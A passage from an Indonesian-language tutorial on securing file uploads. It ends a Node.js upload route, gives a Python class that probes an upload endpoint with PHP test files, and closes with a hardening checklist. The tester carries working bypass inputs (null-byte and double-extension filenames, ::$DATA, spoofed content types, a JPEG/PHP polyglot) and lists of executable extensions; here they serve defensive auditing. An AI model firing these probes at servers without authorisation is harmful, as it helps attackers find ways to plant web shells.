// Simpan metadata ke database
const fileId = crypto.randomBytes(8).toString('hex');
// db.saveFile({
// id: fileId,
// originalName: req.uploadedFile.originalName,
// storedName: req.uploadedFile.storedName,
// mimeType: req.uploadedFile.mimeType,
// size: req.uploadedFile.size,
// md5: req.uploadedFile.md5,
// uploadedBy: req.user.id,
// uploadedAt: new Date(),
// scanStatus: 'clean'
// });
res.json({
success: true,
fileId: fileId,
message: 'File berhasil diupload'
});
}
);
module.exports = router;
8. Testing & Audit Keamanan Upload
Testing keamanan upload harus dilakukan secara rutin untuk memastikan pertahanan tetap efektif terhadap teknik bypass terbaru.
# ===== AUTOMATED UPLOAD SECURITY TESTING =====
import requests
import os
import tempfile
class UploadSecurityTester:
def __init__(self, target_url, session=None):
self.target_url = target_url
self.session = session or requests.Session()
self.results = []
def test_extension_bypass(self):
"""Test berbagai teknik extension bypass"""
print("\n[*] Testing Extension Bypass...")
# PHP shells dengan berbagai ekstensi
malicious_extensions = [
'php', 'php3', 'php4', 'php5', 'php7', 'phtml',
'pht', 'phar', 'phps', 'inc',
'asp', 'aspx', 'asa', 'cer', 'cdx', 'ashx',
'jsp', 'jspx', 'jsw', 'jsv', 'war',
'htaccess', 'shtml', 'cgi', 'pl', 'py'
]
for ext in malicious_extensions:
# Buat file dummy
content = f"<?php echo 'test_{ext}'; ?>".encode()
files = {'file': (f'test.{ext}', content, 'application/octet-stream')}
try:
resp = self.session.post(self.target_url, files=files)
if resp.status_code == 200 and 'error' not in resp.text.lower():
self.results.append({
'test': f'Extension Bypass (.{ext})',
'result': 'VULNERABLE',
'severity': 'CRITICAL'
})
print(f" [!] VULNERABLE: .{ext} accepted!")
else:
print(f" [+] Blocked: .{ext}")
except Exception as e:
print(f" [-] Error testing .{ext}: {e}")
def test_double_extension(self):
"""Test double extension bypass"""
print("\n[*] Testing Double Extension...")
double_exts = [
'shell.php.jpg', 'shell.php.png', 'shell.php.gif',
'shell.asp.jpg', 'shell.jsp.png',
'shell.php%00.jpg', 'shell.php\x00.jpg',
'shell.pHp', 'shell.PhP', 'shell.PHP',
'shell.php.', 'shell.php ', 'shell.php::$DATA',
]
for filename in double_exts:
content = b"<?php echo 'bypass'; ?>"
safe_name = filename.replace('\x00', '_NULL_')
files = {'file': (safe_name, content, 'image/jpeg')}
try:
resp = self.session.post(self.target_url, files=files)
if resp.status_code == 200:
self.results.append({
'test': f'Double Extension ({safe_name})',
'result': 'ACCEPTED',
'severity': 'HIGH'
})
print(f" [!] ACCEPTED: {safe_name}")
else:
print(f" [+] Blocked: {safe_name}")
except:
pass
def test_content_type_bypass(self):
"""Test Content-Type bypass"""
print("\n[*] Testing Content-Type Bypass...")
content = b"<?php echo 'content_type_bypass'; ?>"
content_types = [
'image/jpeg', 'image/png', 'image/gif',
'text/plain', 'application/pdf'
]
for ct in content_types:
files = {'file': ('shell.php', content, ct)}
try:
resp = self.session.post(self.target_url, files=files)
if resp.status_code == 200:
self.results.append({
'test': f'Content-Type Bypass ({ct})',
'result': 'ACCEPTED',
'severity': 'HIGH'
})
print(f" [!] ACCEPTED with Content-Type: {ct}")
except:
pass
def test_polyglot_file(self):
"""Test polyglot file (valid image + embedded code)"""
print("\n[*] Testing Polyglot Files...")
# JPEG header + PHP code
jpeg_php = b'\xFF\xD8\xFF\xE0' + b'\x00' * 20 + b'<?php echo "polyglot"; ?>'
files = {'file': ('polyglot.php.jpg', jpeg_php, 'image/jpeg')}
try:
resp = self.session.post(self.target_url, files=files)
if resp.status_code == 200:
self.results.append({
'test': 'Polyglot File (JPEG+PHP)',
'result': 'ACCEPTED',
'severity': 'CRITICAL'
})
print(" [!] Polyglot ACCEPTED!")
except:
pass
def generate_report(self):
"""Generate laporan hasil testing"""
print("\n" + "=" * 60)
print("LAPORAN UPLOAD SECURITY TEST")
print("=" * 60)
vuln_count = sum(1 for r in self.results if r['result'] == 'VULNERABLE')
accepted_count = sum(1 for r in self.results if r['result'] == 'ACCEPTED')
print(f"\nTotal Tests: {len(self.results)}")
print(f"Vulnerable: {vuln_count}")
print(f"Accepted (needs review): {accepted_count}")
for r in self.results:
print(f"\n [{r['severity']}] {r['test']}: {r['result']}")
return self.results
# ===== JALANKAN TESTING =====
# tester = UploadSecurityTester('https://target.com/api/upload')
# tester.test_extension_bypass()
# tester.test_double_extension()
# tester.test_content_type_bypass()
# tester.test_polyglot_file()
# tester.generate_report()
9. Best Practices & Checklist
- Validasi di Server-Side β Jangan pernah mengandalkan validasi client-side saja
- Whitelist Ekstensi β Gunakan whitelist, bukan blocklist
- Validasi Magic Number β Periksa file signature, bukan hanya ekstensi
- Rename File β Gunakan UUID/random, jangan gunakan nama asli
- Validasi Ukuran β Batasi ukuran file di server
- Malware Scanning β Scan dengan ClamAV/YARA sebelum menyimpan
- Non-executable Storage β Simpan di luar web root, nonaktifkan eksekusi
- Dedicated Domain β Serve file dari domain/origin terpisah
- Content Security Policy β Implement CSP headers
- Rate Limiting β Batasi jumlah upload per user per waktu
- Logging & Monitoring β Log semua aktivitas upload
- Regular Testing β Audit keamanan upload secara berkala
# ===== UPLOAD SECURITY CHEAT SHEET ===== # ---- LAYER 1: INPUT VALIDATION ---- β Whitelist ekstensi (bukan blocklist) β Validasi Content-Type (tapi JANGAN hanya ini!) β Validasi magic number / file signature β Validasi ukuran file (max limit) β Sanitize filename (hapus karakter berbahaya) # ---- LAYER 2: CONTENT SCANNING ---- β ClamAV / antivirus scanning β YARA rules untuk custom detection β Image validation (PIL/Sharp verify) β Scan embedded scripts dalam file β Check EXIF data # ---- LAYER 3: STORAGE SECURITY ---- β Simpan DI LUAR web root β Gunakan UUID/random filenames β Set permission non-executable (chmod 644) β Encrypt sensitive files (AES-256) β Separate storage per file type # ---- LAYER 4: SERVING SECURITY ---- β Serve via application (bukan direct access) β Force Content-Disposition: attachment β Dedicated domain/subdomain untuk files β Disable script execution di upload dir β Set security headers (CSP, X-Content-Type) # ---- LAYER 5: MONITORING ---- β Log semua upload attempts (success + fail) β Alert pada pola mencurigakan β Rate limiting per user/IP β Regular security audit β Incident response plan # ===== COMMON MISTAKES TO AVOID ===== β Hanya cek ekstensi file (mudah di-bypass) β Hanya cek Content-Type header (client bisa palsukan) β Simpan di dalam web root β Gunakan nama file asli dari user β Tidak ada limit ukuran file β Tidak ada malware scanning β Client-side validation saja β Tidak logging aktivitas upload
10. Quiz Pemahaman
Uji pemahaman Anda tentang File Upload Security: